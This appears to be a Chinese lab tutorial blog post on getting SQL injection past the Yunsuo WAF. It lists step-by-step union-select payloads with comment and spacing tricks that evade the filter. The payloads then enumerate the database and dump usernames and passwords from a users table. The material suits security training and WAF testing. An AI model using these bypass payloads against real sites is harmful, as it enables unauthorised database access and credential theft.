2025年WAF - SQL注入之绕过云锁 靶场实战

WAF - SQL注入之绕过云锁 靶场实战实验介绍 云锁是基于操作系统内核加固技术的免费服务器安全管理软件 由国内信息安全厂商椒图科技自主研发 凝结操作系统内核加固领域数十年的经验积累 集合服务器安全 网站安全管理为一体 以操作系统内核加固技术为基础 同时开放网站安全防护 登录防护 流量防护 资源监控 系统优化 安全日志 6 大功能模块 有效抵御 CC

大家好,我是讯享网,很高兴认识大家。


讯享网

实验介绍

云锁是基于操作系统内核加固技术的免费服务器安全管理软件,由国内信息安全厂商椒图科技自主研发,凝结操作系统内核加固领域数十年的经验积累,集合服务器安全、网站安全管理为一体,以操作系统内核加固技术为基础,同时开放网站安全防护、登录防护、流量防护、资源监控、系统优化、安全日志6大功能模块,有效抵御CC、SQL注入、XSS病毒、木马、webshell等黑客攻击,为广大服务器管理员打造高效、可靠、便捷的服务器安全管理方案。

传统的安全防御手段大多基于网络层或者应用层,如防火墙、IDS、杀毒软件等等,最主要的功能是防御已知的攻击手段,而对未知的病毒、木马攻击却毫无招架之力;“云锁”则是重新加固和扩充操作系统的安全子系统,提升操作系统自身对攻击的免疫力,同时配合web访问控制技术,由内而外的抵御各种病毒及黑客的攻击行为,从而实现对已知、未知攻击手段的真正防御。

 

实验目的

1. 掌握sql注入绕过云锁的方法与技巧

2.了解云锁过滤方式

 

实验开始

第一步:

先测试注入点

1' and 1=1 --+  不拦截     1' and 1=2 --+  不拦截

 

 

第二步:

1=2 条件不成立,没有输出内容,那挺好,下面我们测试union select能不能用

 

-1 union select 1,2,3  拦截

-1 union//select 12,3 拦截

 

第三步:

-1 union /*!99999aaaa*/select  1,2,3   不拦截

111 union /*!99999aaaa*/select  1,2,3  不拦截

这里-1和三个1效果是一样的

select绕过后我们在来爆出库名

 

第三步:

111'  union /*!99999aaaa*/select  1,database(),3       拦截

肯定是database()关键字拦截了,我们来绕过

 

第四步:

111'  union /*!99999aaaa*/select  1,database (),3 --+   不拦截

 

看出来加了个什么了吗?database空格()绕过显示库名

绕过之后我们再来看看表名

 

第五步:

111'  union /*!99999aaaa*/select  1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3    拦截

我们先删掉 where 后的条件,好去看看那个关键字被过虑了

 

第六步:

111'  union /*!99999aaaa*/select  1,(select group_concat(table_name) from information_schema.tables),3         拦截

拦截了,我么再把把 information_schema.tables 删了在看看

 

第七步:

111'  union /*!99999aaaa*/select  1,(select group_concat(table_name) from ),3          拦截

这么看估计应该是撞到 select  xxxxxx   from 的规则了,我们修改from看看是否推测正确

 

第八步:

111'  union /*!99999aaaa*/select 1 ,(select group_concat(table_name) frsom ),3     不拦截

看来推测正确,我们尝试绕过

 

第九步:

111'  union /*!99999aaaa*/select//1 ,(select group_concat(table_name) from ),3         拦截

111' union /*!99999aaaa*/select/*aaaa*/1 ,(select group_concat(table_name) from ),3                拦截

111'  union /*!99999aaaa*/select 1 ,(select group_concat(table_name)//from ),3              拦截

绕不过,不过这里有个小技巧

select-1                       输出 -1

select+1                      输出1

我们再把上面的代码改一下

select-1                       输出 -1

select+1                      输出1

select--1

可以想下输出多少。输出的是1 因为负负得正,因为--是注释符,云锁匹配到--后面的部分内容,会放过一部分 。我们来继续绕过

111'  union /*!99999aaaa*/select--1 ,(select group_concat(table_name) from information_schema.tables),3    不拦截

 

第十步:

这里我们看一看读出来了,下面我们加上条件database()爆出库里面的表

111'  union /*!99999aaaa*/select--1 ,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3    不拦截

 可以看到有4个表名,我们再来爆users表里面的字段

 

第十一步:

111'  union /*!99999aaaa*/select--1 ,(select group_concat(column_name) from information_schema.columns where table_schema=database()  and table_name='users' ),3     不拦截

可以看到users表里面有3个字段,那么字段我们有了然后爆出里面的内容了

 

第十二步:

111' union /*!99999aaaa*/select--1 ,(select group_concat(concat(username,'~',password)) from security.users ),3  不拦截

大概的流程就是这样

 

PS: 这里bypass的云锁是没有购买高级服务的版本,所以有点好绕。waf是不断更新的,这里是提供bypass云锁的思路,希望你可以发现新的bypass方法。

 

 

 

 

小讯
上一篇 2025-02-11 18:40
下一篇 2025-03-06 08:06

相关推荐

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容,请联系我们,一经查实,本站将立刻删除。
如需转载请保留出处:https://51itzy.com/kjqy/72029.html